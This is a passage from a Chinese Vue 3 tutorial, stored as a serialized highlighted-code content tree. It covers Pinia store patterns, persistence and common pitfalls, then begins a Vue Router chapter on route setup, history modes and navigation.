store（推荐写法：长得像组件）\n",[331,30677,30678,30680,30682,30684],{"class":333,"line":341},[331,30679,4648],{"class":616},[331,30681,21459],{"class":337},[331,30683,13735],{"class":616},[331,30685,17864],{"class":365},[331,30687,30688,30690,30692,30694],{"class":333,"line":357},[331,30689,4648],{"class":616},[331,30691,13732],{"class":337},[331,30693,13735],{"class":616},[331,30695,13738],{"class":365},[331,30697,30698],{"class":333,"line":371},[331,30699,998],{"emptyLinePlaceholder":997},[331,30701,30702,30704,30706,30708,30710,30712,30714,30717,30719,30721],{"class":333,"line":384},[331,30703,5219],{"class":616},[331,30705,13749],{"class":616},[331,30707,29184],{"class":344},[331,30709,957],{"class":616},[331,30711,13757],{"class":501},[331,30713,966],{"class":337},[331,30715,30716],{"class":365},"'counter'",[331,30718,8322],{"class":337},[331,30720,1489],{"class":616},[331,30722,1100],{"class":337},[331,30724,30725,30727,30729,30731,30733,30735,30737],{"class":333,"line":397},[331,30726,1496],{"class":616},[331,30728,18074],{"class":344},[331,30730,957],{"class":616},[331,30732,13780],{"class":501},[331,30734,966],{"class":337},[331,30736,628],{"class":344},[331,30738,972],{"class":337},[331,30740,30741,30743,30745,30747,30749,30751,30753,30755,30757,30759],{"class":333,"line":418},[331,30742,1496],{"class":616},[331,30744,18091],{"class":344},[331,30746,957],{"class":616},[331,30748,13798],{"class":501},[331,30750,1486],{"class":337},[331,30752,1489],{"class":616},[331,30754,18102],{"class":337},[331,30756,18020],{"class":616},[331,30758,18023],{"class":344},[331,30760,972],{"class":337},[331,30762,30763,30765,30768,30770,30773,30775,30778,30781,30783],{"class":333,"line":427},[331,30764,13854],{"class":616},[331,30766,30767],{"class":501}," inc",[331,30769,966],{"class":337},[331,30771,30772],{"class":2472},"step",[331,30774,957],{"class":616},[331,30776,30777],{"class":344}," 1",[331,30779,30780],{"class":337},") { count.value ",[331,30782,25647],{"class":616},[331,30784,30785],{"class":337}," step }\n",[331,30787,30788,30790,30792,30795,30797,30799],{"class":333,"line":439},[331,30789,13817],{"class":616},[331,30791,1066],{"class":616},[331,30793,30794],{"class":501}," loadFromServer",[331,30796,17990],{"class":337},[331,30798,21851],{"class":1003},[331,30800,9413],{"class":337},[331,30802,30803,30805],{"class":333,"line":450},[331,30804,1633],{"class":616},[331,30806,30807],{"class":337}," { count, double, inc, loadFromServer }\n",[331,30809,30810],{"class":333,"line":456},[331,30811,5399],{"class":337},[308,30813,30815],{"className":5996,"code":30814,"language":5998,"meta":314,"style":314},"\u003Cscript setup>\nimport { useCounter } from '@\u002Fstores\u002Fcounter'\nconst store = useCounter()          \u002F\u002F 组件里再调用，不要在模块顶层调\n\u003C\u002Fscript>\n\n\u003Ctemplate>\n  \u003Cp>{{ store.count }} \u002F {{ store.double }}\u003C\u002Fp>\n  \u003Cbutton @click=\"store.inc()\">+1\u003C\u002Fbutton>   \u003C!-- 解构会丢响应性，方法倒是可以直接用 -->\n\u003C\u002Ftemplate>\n",[22,30816,30817,30827,30839,30855,30863,30867,30875,30888,30910],{"__ignoreMap":314},[331,30818,30819,30821,30823,30825],{"class":333,"line":334},[331,30820,510],{"class":337},[331,30822,891],{"class":497},[331,30824,6299],{"class":501},[331,30826,505],{"class":337},[331,30828,30829,30831,30834,30836],{"class":333,"line":341},[331,30830,4648],{"class":616},[331,30832,30833],{"class":337}," { useCounter } ",[331,30835,13735],{"class":616},[331,30837,30838],{"class":365}," '@\u002Fstores\u002Fcounter'\n",[331,30840,30841,30843,30846,30848,30850,30852],{"class":333,"line":357},[331,30842,951],{"class":616},[331,30844,30845],{"class":344}," store",[331,30847,957],{"class":616},[331,30849,29184],{"class":501},[331,30851,13919],{"class":337},[331,30853,30854],{"class":1003},"\u002F\u002F 组件里再调用，不要在模块顶层调\n",[331,30856,30857,30859,30861],{"class":333,"line":371},[331,30858,788],{"class":337},[331,30860,891],{"class":497},[331,30862,505],{"class":337},[331,30864,30865],{"class":333,"line":384},[331,30866,998],{"emptyLinePlaceholder":997},[331,30868,30869,30871,30873],{"class":333,"line":397},[331,30870,510],{"class":337},[331,30872,6012],{"class":497},[331,30874,505],{"class":337},[331,30876,30877,30879,30881,30884,30886],{"class":333,"line":418},[331,30878,537],{"class":337},[331,30880,11],{"class":497},[331,30882,30883],{"class":337},">{{ store.count }} \u002F {{ store.double }}\u003C\u002F",[331,30885,11],{"class":497},[331,30887,505],{"class":337},[331,30889,30890,30892,30894,30896,30898,30901,30903,30905,30907],{"class":333,"line":427},[331,30891,537],{"class":337},[331,30893,824],{"class":497},[331,30895,7348],{"class":501},[331,30897,518],{"class":337},[331,30899,30900],{"class":365},"\"store.inc()\"",[331,30902,20656],{"class":337},[331,30904,824],{"class":497},[331,30906,16314],{"class":337},[331,30908,30909],{"class":1003},"\u003C!-- 解构会丢响应性，方法倒是可以直接用 -->\n",[331,30911,30912,30914,30916],{"class":333,"line":439},[331,30913,788],{"class":337},[331,30915,6012],{"class":497},[331,30917,505],{"class":337},[11,30919,30920,30921,7023],{},"选项式 store 也支持（更接近 Vuex 手感，自带 ",[22,30922,30923],{},"$reset",[308,30925,30927],{"className":942,"code":30926,"language":944,"meta":314,"style":314},"export const useCart = defineStore('cart', {\n  state: () => ({ items: [], coupon: '' }),\n  getters: { total: (s) => s.items.reduce((a, x) => a + x.price * x.qty, 0) },\n  actions: {\n    add(item) { \u002F* this.items.push(item) *\u002F }\n  }\n})\n",[22,30928,30929,30949,30966,31017,31022,31039,31043],{"__ignoreMap":314},[331,30930,30931,30933,30935,30938,30940,30942,30944,30947],{"class":333,"line":334},[331,30932,5219],{"class":616},[331,30934,13749],{"class":616},[331,30936,30937],{"class":344}," useCart",[331,30939,957],{"class":616},[331,30941,13757],{"class":501},[331,30943,966],{"class":337},[331,30945,30946],{"class":365},"'cart'",[331,30948,8613],{"class":337},[331,30950,30951,30954,30956,30958,30961,30963],{"class":333,"line":341},[331,30952,30953],{"class":501},"  state",[331,30955,8621],{"class":337},[331,30957,1489],{"class":616},[331,30959,30960],{"class":337}," ({ items: [], coupon: ",[331,30962,9164],{"class":365},[331,30964,30965],{"class":337}," }),\n",[331,30967,30968,30971,30974,30976,30978,30980,30982,30985,30987,30989,30991,30993,30995,30997,30999,31002,31004,31007,31009,31012,31014],{"class":333,"line":357},[331,30969,30970],{"class":337},"  getters: { ",[331,30972,30973],{"class":501},"total",[331,30975,6534],{"class":337},[331,30977,21542],{"class":2472},[331,30979,3180],{"class":337},[331,30981,1489],{"class":616},[331,30983,30984],{"class":337}," s.items.",[331,30986,21537],{"class":501},[331,30988,3175],{"class":337},[331,30990,30],{"class":2472},[331,30992,409],{"class":337},[331,30994,21547],{"class":2472},[331,30996,3180],{"class":337},[331,30998,1489],{"class":616},[331,31000,31001],{"class":337}," a ",[331,31003,12714],{"class":616},[331,31005,31006],{"class":337}," x.price ",[331,31008,18020],{"class":616},[331,31010,31011],{"class":337}," x.qty, ",[331,31013,628],{"class":344},[331,31015,31016],{"class":337},") },\n",[331,31018,31019],{"class":333,"line":371},[331,31020,31021],{"class":337},"  actions: {\n",[331,31023,31024,31027,31029,31031,31034,31037],{"class":333,"line":384},[331,31025,31026],{"class":501},"    add",[331,31028,966],{"class":337},[331,31030,20105],{"class":2472},[331,31032,31033],{"class":337},") { ",[331,31035,31036],{"class":1003},"\u002F* this.items.push(item) *\u002F",[331,31038,9413],{"class":337},[331,31040,31041],{"class":333,"line":397},[331,31042,453],{"class":337},[331,31044,31045],{"class":333,"line":418},[331,31046,5399],{"class":337},[57,31048,31049,31057],{},[60,31050,31051],{},[63,31052,31053,31055],{},[66,31054,13493],{},[66,31056,7759],{},[79,31058,31059,31069,31079,31089,31099,31109,31118,31128],{},[63,31060,31061,31066],{},[84,31062,31063],{},[22,31064,31065],{},"store.count",[84,31067,31068],{},"读写状态（自动 unwrap ref）",[63,31070,31071,31076],{},[84,31072,31073],{},[22,31074,31075],{},"storeToRefs(store)",[84,31077,31078],{},"解构时保住响应性（方法单独拿出来）",[63,31080,31081,31086],{},[84,31082,31083],{},[22,31084,31085],{},"store.$patch({ items: [] })",[84,31087,31088],{},"批量改（devtools 里合成一条记录）",[63,31090,31091,31096],{},[84,31092,31093],{},[22,31094,31095],{},"store.$patch((s) => { … })",[84,31097,31098],{},"函数式批量改",[63,31100,31101,31106],{},[84,31102,31103],{},[22,31104,31105],{},"store.$reset()",[84,31107,31108],{},"重置回初始 state（setup store 需自己实现）",[63,31110,31111,31116],{},[84,31112,31113],{},[22,31114,31115],{},"store.$state = { … }",[84,31117,21229],{},[63,31119,31120,31125],{},[84,31121,31122],{},[22,31123,31124],{},"store.$subscribe((m, s) => …)",[84,31126,31127],{},"订阅变化（做持久化的地基）",[63,31129,31130,31135],{},[84,31131,31132],{},[22,31133,31134],{},"store.$onAction(({ after, onError }) => …)",[84,31136,31137],{},"拦截动作（埋点、错误上报）",[53,31139,31141],{"id":31140},"持久化先把这一层想清楚","持久化：先把这一层想清楚",[11,31143,31144,31145,31148,31149,31152,31153,4809,31155,322],{},"Pinia 本体不做持久化。两种路子：插件（",[22,31146,31147],{},"pinia-plugin-persistedstate","，配置 ",[22,31150,31151],{},"persist: true","）或手写 ",[22,31154,5460],{},[22,31156,2771],{},[308,31158,31160],{"className":942,"code":31159,"language":944,"meta":314,"style":314},"\u002F\u002F stores\u002Fuser.js 之后，在 App 里手动同步（简单可控）\nwatch(\n  () => ({ token: userStore.token, profile: userStore.profile }),\n  (v) => localStorage.setItem('user', JSON.stringify(v)),\n  { deep: true }\n)\n",[22,31161,31162,31167,31174,31184,31214,31223],{"__ignoreMap":314},[331,31163,31164],{"class":333,"line":334},[331,31165,31166],{"class":1003},"\u002F\u002F stores\u002Fuser.js 之后，在 App 里手动同步（简单可控）\n",[331,31168,31169,31171],{"class":333,"line":341},[331,31170,5460],{"class":501},[331,31172,31173],{"class":337},"(\n",[331,31175,31176,31179,31181],{"class":333,"line":357},[331,31177,31178],{"class":337},"  () ",[331,31180,1489],{"class":616},[331,31182,31183],{"class":337}," ({ token: userStore.token, profile: userStore.profile }),\n",[331,31185,31186,31189,31191,31193,31195,31197,31199,31201,31203,31205,31207,31209,31211],{"class":333,"line":371},[331,31187,31188],{"class":337},"  (",[331,31190,14033],{"class":2472},[331,31192,3180],{"class":337},[331,31194,1489],{"class":616},[331,31196,14040],{"class":337},[331,31198,14043],{"class":501},[331,31200,966],{"class":337},[331,31202,13762],{"class":365},[331,31204,409],{"class":337},[331,31206,13165],{"class":344},[331,31208,1192],{"class":337},[331,31210,13170],{"class":501},[331,31212,31213],{"class":337},"(v)),\n",[331,31215,31216,31219,31221],{"class":333,"line":384},[331,31217,31218],{"class":337},"  { deep: ",[331,31220,1131],{"class":344},[331,31222,9413],{"class":337},[331,31224,31225],{"class":333,"line":397},[331,31226,972],{"class":337},[11,31228,31229,31230,31233,31234,31237,31238,31241],{},"三条纪律：",[17,31231,31232],{},"只存该存的","（token 可以，完整用户资料没必要）；",[17,31235,31236],{},"存之前想清楚版本","（结构变了读回旧数据要能兜底）；",[17,31239,31240],{},"别把 store 整个 stringify","（里面可能有不可序列化的东西，devtools 也会抱怨）。",[4748,31243],{"height":14062,"src":14063,"title":31244},"示例 15：两个组件共享同一个 store 与解构失效现场",[11,31246,31247,31248,31251,31252,31255,31256,31259],{},"示例 15 把两个「页面级组件」并排放着，它们各自 ",[22,31249,31250],{},"useCounter()"," 拿到的是同一个 store 实例；第二块演示 ",[22,31253,31254],{},"const { count } = store"," 之后界面不再更新，",[22,31257,31258],{},"storeToRefs"," 一按就活了。",[53,31261,4796],{"id":31262},"️-本章的坑-14",[11,31264,31265,268,31268,26184,31270,31272,31273,31275],{},[17,31266,31267],{},"1. 直接解构 store 丢响应性。",[22,31269,29663],{},[22,31271,25866],{}," 是普通数字快照（setup store 甚至更微妙）。请用 ",[22,31274,31075],{}," 解构状态，动作（action）可以单独解构。",[11,31277,31278,31284,31285,31288,31289,31292,31293,23629,31296,31298],{},[17,31279,31280,31281,161],{},"2. 在模块顶层调 ",[22,31282,31283],{},"useXxxStore()"," 「调用 store」必须在 ",[22,31286,31287],{},"app.use(createPinia())"," 之后、且在组件 setup 上下文里。模块顶层调用会得到 ",[22,31290,31291],{},"getActivePinia was called with no active Pinia"," 报错。写 ",[22,31294,31295],{},"const store = useCounter()",[22,31297,4775],{}," 里才对。",[11,31300,31301,31306,31307,31310],{},[17,31302,31303,31304,161],{},"3. setup store 没有 ",[22,31305,14151],{}," 需要重置就自己在里面写 ",[22,31308,31309],{},"function $reset() { count.value = 0 }","（Pinia 允许你覆盖这个保留名）。",[11,31312,31313,31316,31317,31320,31321,31324],{},[17,31314,31315],{},"4. 两个 store 互相引用形成循环。"," A 里 ",[22,31318,31319],{},"useB()","、B 里 ",[22,31322,31323],{},"useA()"," 会导致初始化顺序炸掉。解法：把「调用」挪进 action 内部（用到时才取），或引入第三个 store 承担协调。",[11,31326,31327,2012,31330,31332],{},[17,31328,31329],{},"5. getters 里做副作用。",[22,31331,4781],{}," 同一纪律（第五章）——它只负责算值。发请求、埋点放 action。",[11,31334,31335,31341,31342,31345,31346,161],{},[17,31336,31337,31338,31340],{},"6. action 里用箭头函数导致 ",[22,31339,18040],{}," 丢失。"," 选项式 store 的 ",[22,31343,31344],{},"actions: { add: () => { this.items.push() } }"," 直接坏掉。用普通函数 ",[22,31347,31348],{},"add() {}",[11,31350,31351,31354],{},[17,31352,31353],{},"7. 持久化把敏感信息写进 localStorage。"," 刷新令牌、完整用户对象留在浏览器里，XSS 一次就全丢。token 该放 httpOnly Cookie 就别放 localStorage。",[11,31356,31357,31360,31361],{},[17,31358,31359],{},"8. 把 store 当成「全局变量垃圾桶」。"," 组件级状态（弹窗开合、当前表单草稿）放 store，会让复用和测试都变难。",[17,31362,31363],{},"判断标准：需要跨路由\u002F跨不相关组件共享，才进 store。",[11,31365,31366,31369,31370,31372],{},[17,31367,31368],{},"9. SSR\u002F服务端渲染下的状态串号。"," 全局单例 store 在多请求间会串数据。做 SSR（Nuxt）时每个请求要独立实例——这正是 Nuxt 教程里 ",[22,31371,13935],{}," + 服务端注意事项那章要解决的问题。",[53,31374,31376],{"id":31375},"附状态方案的选择","附：状态方案的选择",[57,31378,31379,31388],{},[60,31380,31381],{},[63,31382,31383,31386],{},[66,31384,31385],{},"状态范围",[66,31387,3831],{},[79,31389,31390,31401,31414,31425,31432,31442],{},[63,31391,31392,31395],{},[84,31393,31394],{},"单个组件内部",[84,31396,31397,1901,31399],{},[22,31398,4778],{},[22,31400,14225],{},[63,31402,31403,31406],{},[84,31404,31405],{},"父 ↔ 子",[84,31407,31408,1901,31410,1901,31412],{},[22,31409,21105],{},[22,31411,22133],{},[22,31413,20316],{},[63,31415,31416,31419],{},[84,31417,31418],{},"同一子树共享（主题、表单上下文）",[84,31420,31421,1901,31423],{},[22,31422,15009],{},[22,31424,26295],{},[63,31426,31427,31430],{},[84,31428,31429],{},"跨页面、全局共享（用户、购物车）",[84,31431,14199],{},[63,31433,31434,31437],{},[84,31435,31436],{},"服务端数据（列表、详情，需缓存与重新获取）",[84,31438,31439,31441],{},[22,31440,5482],{},"（Nuxt）\u002F TanStack Query 一类",[63,31443,31444,31447],{},[84,31445,31446],{},"纯 URL 可表达的状态（筛选、分页、tab）",[84,31448,31449],{},"路由 query（第十六章）",[48,31451,31453],{"id":31452},"十六vue-router单页应用的路由","十六、Vue Router：单页应用的路由",[11,31455,31456,31457,31460],{},"路由 = 「URL ↔ 界面」的映射表。它让单页应用有可分享的地址、可前进后退的历史、可刷新的子页面。本教程基于 ",[17,31458,31459],{},"Vue Router 5","（Nuxt 4 里用的就是它），语法与 v4 基本一致。",[53,31462,31463],{"id":31463},"三步建起来",[308,31465,31467],{"className":3902,"code":31466,"language":3904,"meta":314,"style":314},"npm install vue-router\n",[22,31468,31469],{"__ignoreMap":314},[331,31470,31471,31473,31475],{"class":333,"line":334},[331,31472,4989],{"class":501},[331,31474,13016],{"class":365},[331,31476,31477],{"class":365}," vue-router\n",[308,31479,31481],{"className":942,"code":31480,"language":944,"meta":314,"style":314},"\u002F\u002F router\u002Findex.js\nimport { createRouter, createWebHistory } from 'vue-router'\nimport Home from '@\u002Fviews\u002FHome.vue'\n\nconst routes = [\n  { path: '\u002F', name: 'home', component: Home },\n  { path: '\u002Fabout', name: 'about', component: () => import('@\u002Fviews\u002FAbout.vue') },   \u002F\u002F 懒加载\n  { path: '\u002Fusers\u002F:id', name: 'user', component: () => import('@\u002Fviews\u002FUser.vue'), props: true },\n  { path: '\u002Fposts\u002F:page?', component: () => import('@\u002Fviews\u002FPosts.vue') },          \u002F\u002F 可选参数（省略时 undefined）\n  {\n    path: '\u002Fdashboard',\n    component: () => import('@\u002Fviews\u002FDashboard.vue'),\n    children: [                                  \u002F\u002F 嵌套：父组件里要放 \u003CRouterView \u002F>\n      { path: '', component: DashboardHome },    \u002F\u002F \u002Fdashboard\n      { path: 'analytics', component: Analytics } \u002F\u002F \u002Fdashboard\u002Fanalytics\n    ]\n  },\n  { path: '\u002F:pathMatch(.*)*', name: 'not-found', component: NotFound }   \u002F\u002F 兜底 404\n]\n\nexport const router = createRouter({\n  history: createWebHistory(),        \u002F\u002F 干净 URL，需要服务端 fallback\n  routes,\n  scrollBehavior: (to, from, saved) => saved || { left: 0, top: 0 }\n})\n",[22,31482,31483,31488,31500,31512,31516,31528,31543,31575,31608,31636,31641,31651,31669,31677,31690,31703,31708,31712,31730,31734,31738,31753,31767,31772,31811],{"__ignoreMap":314},[331,31484,31485],{"class":333,"line":334},[331,31486,31487],{"class":1003},"\u002F\u002F router\u002Findex.js\n",[331,31489,31490,31492,31495,31497],{"class":333,"line":341},[331,31491,4648],{"class":616},[331,31493,31494],{"class":337}," { createRouter, createWebHistory } ",[331,31496,13735],{"class":616},[331,31498,31499],{"class":365}," 'vue-router'\n",[331,31501,31502,31504,31507,31509],{"class":333,"line":357},[331,31503,4648],{"class":616},[331,31505,31506],{"class":337}," Home ",[331,31508,13735],{"class":616},[331,31510,31511],{"class":365}," '@\u002Fviews\u002FHome.vue'\n",[331,31513,31514],{"class":333,"line":371},[331,31515,998],{"emptyLinePlaceholder":997},[331,31517,31518,31520,31523,31525],{"class":333,"line":384},[331,31519,951],{"class":616},[331,31521,31522],{"class":344}," routes",[331,31524,957],{"class":616},[331,31526,31527],{"class":337}," [\n",[331,31529,31530,31533,31535,31537,31540],{"class":333,"line":397},[331,31531,31532],{"class":337},"  { path: ",[331,31534,5345],{"class":365},[331,31536,5385],{"class":337},[331,31538,31539],{"class":365},"'home'",[331,31541,31542],{"class":337},", component: Home },\n",[331,31544,31545,31547,31549,31551,31554,31556,31558,31560,31562,31564,31566,31569,31572],{"class":333,"line":418},[331,31546,31532],{"class":337},[331,31548,11830],{"class":365},[331,31550,5385],{"class":337},[331,31552,31553],{"class":365},"'about'",[331,31555,409],{"class":337},[331,31557,18172],{"class":501},[331,31559,8621],{"class":337},[331,31561,1489],{"class":616},[331,31563,30179],{"class":616},[331,31565,966],{"class":337},[331,31567,31568],{"class":365},"'@\u002Fviews\u002FAbout.vue'",[331,31570,31571],{"class":337},") },   ",[331,31573,31574],{"class":1003},"\u002F\u002F 懒加载\n",[331,31576,31577,31579,31582,31584,31586,31588,31590,31592,31594,31596,31598,31601,31604,31606],{"class":333,"line":427},[331,31578,31532],{"class":337},[331,31580,31581],{"class":365},"'\u002Fusers\u002F:id'",[331,31583,5385],{"class":337},[331,31585,13762],{"class":365},[331,31587,409],{"class":337},[331,31589,18172],{"class":501},[331,31591,8621],{"class":337},[331,31593,1489],{"class":616},[331,31595,30179],{"class":616},[331,31597,966],{"class":337},[331,31599,31600],{"class":365},"'@\u002Fviews\u002FUser.vue'",[331,31602,31603],{"class":337},"), props: ",[331,31605,1131],{"class":344},[331,31607,5251],{"class":337},[331,31609,31610,31612,31615,31617,31619,31621,31623,31625,31627,31630,31633],{"class":333,"line":439},[331,31611,31532],{"class":337},[331,31613,31614],{"class":365},"'\u002Fposts\u002F:page?'",[331,31616,409],{"class":337},[331,31618,18172],{"class":501},[331,31620,8621],{"class":337},[331,31622,1489],{"class":616},[331,31624,30179],{"class":616},[331,31626,966],{"class":337},[331,31628,31629],{"class":365},"'@\u002Fviews\u002FPosts.vue'",[331,31631,31632],{"class":337},") },          ",[331,31634,31635],{"class":1003},"\u002F\u002F 可选参数（省略时 undefined）\n",[331,31637,31638],{"class":333,"line":450},[331,31639,31640],{"class":337},"  {\n",[331,31642,31643,31646,31649],{"class":333,"line":456},[331,31644,31645],{"class":337},"    path: ",[331,31647,31648],{"class":365},"'\u002Fdashboard'",[331,31650,354],{"class":337},[331,31652,31653,31656,31658,31660,31662,31664,31667],{"class":333,"line":775},[331,31654,31655],{"class":501},"    component",[331,31657,8621],{"class":337},[331,31659,1489],{"class":616},[331,31661,30179],{"class":616},[331,31663,966],{"class":337},[331,31665,31666],{"class":365},"'@\u002Fviews\u002FDashboard.vue'",[331,31668,30187],{"class":337},[331,31670,31671,31674],{"class":333,"line":785},[331,31672,31673],{"class":337},"    children: [                                  ",[331,31675,31676],{"class":1003},"\u002F\u002F 嵌套：父组件里要放 \u003CRouterView \u002F>\n",[331,31678,31679,31682,31684,31687],{"class":333,"line":795},[331,31680,31681],{"class":337},"      { path: ",[331,31683,9164],{"class":365},[331,31685,31686],{"class":337},", component: DashboardHome },    ",[331,31688,31689],{"class":1003},"\u002F\u002F \u002Fdashboard\n",[331,31691,31692,31694,31697,31700],{"class":333,"line":805},[331,31693,31681],{"class":337},[331,31695,31696],{"class":365},"'analytics'",[331,31698,31699],{"class":337},", component: Analytics } ",[331,31701,31702],{"class":1003},"\u002F\u002F \u002Fdashboard\u002Fanalytics\n",[331,31704,31705],{"class":333,"line":819},[331,31706,31707],{"class":337},"    ]\n",[331,31709,31710],{"class":333,"line":850},[331,31711,2916],{"class":337},[331,31713,31714,31716,31719,31721,31724,31727],{"class":333,"line":886},[331,31715,31532],{"class":337},[331,31717,31718],{"class":365},"'\u002F:pathMatch(.*)*'",[331,31720,5385],{"class":337},[331,31722,31723],{"class":365},"'not-found'",[331,31725,31726],{"class":337},", component: NotFound }   ",[331,31728,31729],{"class":1003},"\u002F\u002F 兜底 404\n",[331,31731,31732],{"class":333,"line":909},[331,31733,1268],{"class":337},[331,31735,31736],{"class":333,"line":918},[331,31737,998],{"emptyLinePlaceholder":997},[331,31739,31740,31742,31744,31746,31748,31751],{"class":333,"line":1232},[331,31741,5219],{"class":616},[331,31743,13749],{"class":616},[331,31745,6353],{"class":344},[331,31747,957],{"class":616},[331,31749,31750],{"class":501}," createRouter",[331,31752,1250],{"class":337},[331,31754,31755,31758,31761,31764],{"class":333,"line":1253},[331,31756,31757],{"class":337},"  history: ",[331,31759,31760],{"class":501},"createWebHistory",[331,31762,31763],{"class":337},"(),        ",[331,31765,31766],{"class":1003},"\u002F\u002F 干净 URL，需要服务端 fallback\n",[331,31768,31769],{"class":333,"line":1259},[331,31770,31771],{"class":337},"  routes,\n",[331,31773,31774,31777,31779,31781,31783,31785,31787,31790,31792,31794,31797,31799,31802,31804,31807,31809],{"class":333,"line":1271},[331,31775,31776],{"class":501},"  scrollBehavior",[331,31778,6534],{"class":337},[331,31780,6148],{"class":2472},[331,31782,409],{"class":337},[331,31784,13735],{"class":2472},[331,31786,409],{"class":337},[331,31788,31789],{"class":2472},"saved",[331,31791,3180],{"class":337},[331,31793,1489],{"class":616},[331,31795,31796],{"class":337}," saved ",[331,31798,1162],{"class":616},[331,31800,31801],{"class":337}," { left: ",[331,31803,628],{"class":344},[331,31805,31806],{"class":337},", top: ",[331,31808,628],{"class":344},[331,31810,9413],{"class":337},[331,31812,31813],{"class":333,"line":1277},[331,31814,5399],{"class":337},[308,31816,31818],{"className":942,"code":31817,"language":944,"meta":314,"style":314},"\u002F\u002F main.js\nimport { createApp } from 'vue'\nimport router from '.\u002Frouter'\ncreateApp(App).use(router).mount('#app')\n",[22,31819,31820,31824,31834,31846],{"__ignoreMap":314},[331,31821,31822],{"class":333,"line":334},[331,31823,30602],{"class":1003},[331,31825,31826,31828,31830,31832],{"class":333,"line":341},[331,31827,4648],{"class":616},[331,31829,30609],{"class":337},[331,31831,13735],{"class":616},[331,31833,17864],{"class":365},[331,31835,31836,31838,31841,31843],{"class":333,"line":357},[331,31837,4648],{"class":616},[331,31839,31840],{"class":337}," router ",[331,31842,13735],{"class":616},[331,31844,31845],{"class":365}," '.\u002Frouter'\n",[331,31847,31848,31850,31852,31854,31857,31859,31861,31863],{"class":333,"line":371},[331,31849,17768],{"class":501},[331,31851,30647],{"class":337},[331,31853,14632],{"class":501},[331,31855,31856],{"class":337},"(router).",[331,31858,17816],{"class":501},[331,31860,966],{"class":337},[331,31862,17821],{"class":365},[331,31864,972],{"class":337},[308,31866,31868],{"className":5996,"code":31867,"language":5998,"meta":314,"style":314},"\u003C!-- App.vue -->\n\u003Ctemplate>\n  \u003Cnav>\n    \u003CRouterLink to=\"\u002F\">首页\u003C\u002FRouterLink>\n    \u003CRouterLink :to=\"{ name: 'user', params: { id: 42 } }\">用户 42\u003C\u002FRouterLink>\n  \u003C\u002Fnav>\n  \u003CRouterView \u002F>          \u003C!-- 当前路由的组件渲染在这里 -->\n\u003C\u002Ftemplate>\n",[22,31869,31870,31875,31883,31892,31913,31948,31956,31968],{"__ignoreMap":314},[331,31871,31872],{"class":333,"line":334},[331,31873,31874],{"class":1003},"\u003C!-- App.vue -->\n",[331,31876,31877,31879,31881],{"class":333,"line":341},[331,31878,510],{"class":337},[331,31880,6012],{"class":497},[331,31882,505],{"class":337},[331,31884,31885,31887,31890],{"class":333,"line":357},[331,31886,537],{"class":337},[331,31888,31889],{"class":497},"nav",[331,31891,505],{"class":337},[331,31893,31894,31896,31899,31901,31903,31906,31909,31911],{"class":333,"line":371},[331,31895,6036],{"class":337},[331,31897,31898],{"class":497},"RouterLink",[331,31900,6125],{"class":501},[331,31902,518],{"class":337},[331,31904,31905],{"class":365},"\"\u002F\"",[331,31907,31908],{"class":337},">首页\u003C\u002F",[331,31910,31898],{"class":497},[331,31912,505],{"class":337},[331,31914,31915,31917,31919,31921,31923,31925,31927,31929,31931,31934,31937,31939,31941,31944,31946],{"class":333,"line":384},[331,31916,6036],{"class":337},[331,31918,31898],{"class":497},[331,31920,2636],{"class":337},[331,31922,6148],{"class":501},[331,31924,518],{"class":337},[331,31926,6153],{"class":365},[331,31928,7473],{"class":337},[331,31930,13762],{"class":365},[331,31932,31933],{"class":337},", params: { id: ",[331,31935,31936],{"class":344},"42",[331,31938,6168],{"class":337},[331,31940,6153],{"class":365},[331,31942,31943],{"class":337},">用户 42\u003C\u002F",[331,31945,31898],{"class":497},[331,31947,505],{"class":337},[331,31949,31950,31952,31954],{"class":333,"line":397},[331,31951,778],{"class":337},[331,31953,31889],{"class":497},[331,31955,505],{"class":337},[331,31957,31958,31960,31963,31965],{"class":333,"line":418},[331,31959,537],{"class":337},[331,31961,31962],{"class":497},"RouterView",[331,31964,6056],{"class":337},[331,31966,31967],{"class":1003},"\u003C!-- 当前路由的组件渲染在这里 -->\n",[331,31969,31970,31972,31974],{"class":333,"line":427},[331,31971,788],{"class":337},[331,31973,6012],{"class":497},[331,31975,505],{"class":337},[53,31977,31979],{"id":31978},"三种-history决定部署方式","三种 history，决定部署方式",[57,31981,31982,31997],{},[60,31983,31984],{},[63,31985,31986,31989,31992,31995],{},[66,31987,31988],{},"创建方式",[66,31990,31991],{},"URL 形态",[66,31993,31994],{},"服务端要不要配 fallback",[66,31996,11987],{},[79,31998,31999,32019,32036],{},[63,32000,32001,32006,32011,32016],{},[84,32002,32003],{},[22,32004,32005],{},"createWebHistory()",[84,32007,32008],{},[22,32009,32010],{},"\u002Fusers\u002F42",[84,32012,32013,32015],{},[17,32014,12005],{},"（刷新时所有路径都要回落到 index.html）",[84,32017,32018],{},"正式站点，SEO 友好",[63,32020,32021,32026,32031,32033],{},[84,32022,32023],{},[22,32024,32025],{},"createWebHashHistory()",[84,32027,32028],{},[22,32029,32030],{},"\u002F#\u002Fusers\u002F42",[84,32032,12045],{},[84,32034,32035],{},"静态托管、iframe 内、子目录里懒得配 nginx",[63,32037,32038,32043,32046,32048],{},[84,32039,32040],{},[22,32041,32042],{},"createMemoryHistory()",[84,32044,32045],{},"不写地址栏",[84,32047,5122],{},[84,32049,32050],{},"测试、示例（本教程的示例 16 用的就是它）",[11,32052,32053,32054,32057],{},"history 模式下 nginx 的一行配置：",[22,32055,32056],{},"try_files $uri $uri\u002F \u002Findex.html;","。漏了它的症状是「首页能进，刷新子页面 404」。",[53,32059,32060],{"id":32060},"读参数与跳转",[308,32062,32064],{"className":5996,"code":32063,"language":5998,"meta":314,"style":314},"\u003Cscript setup>\nimport { useRoute, useRouter } from 'vue-router'\nconst route = useRoute()     \u002F\u002F 响应式的当前路由：params \u002F query \u002F hash \u002F path \u002F matched \u002F meta\nconst router = useRouter()   \u002F\u002F 命令式跳转\n\nfunction go() {\n  router.push({ name: 'user', params: { id: 7 } })\n  router.replace({ path: '\u002Flogin', query: { redirect: route.fullPath } })  \u002F\u002F 不留历史\n  router.back()\n}\n\u003C\u002Fscript>\n\n\u003Ctemplate>\n  \u003Cp>id = {{ route.params.id }}，页码 = {{ route.query.page 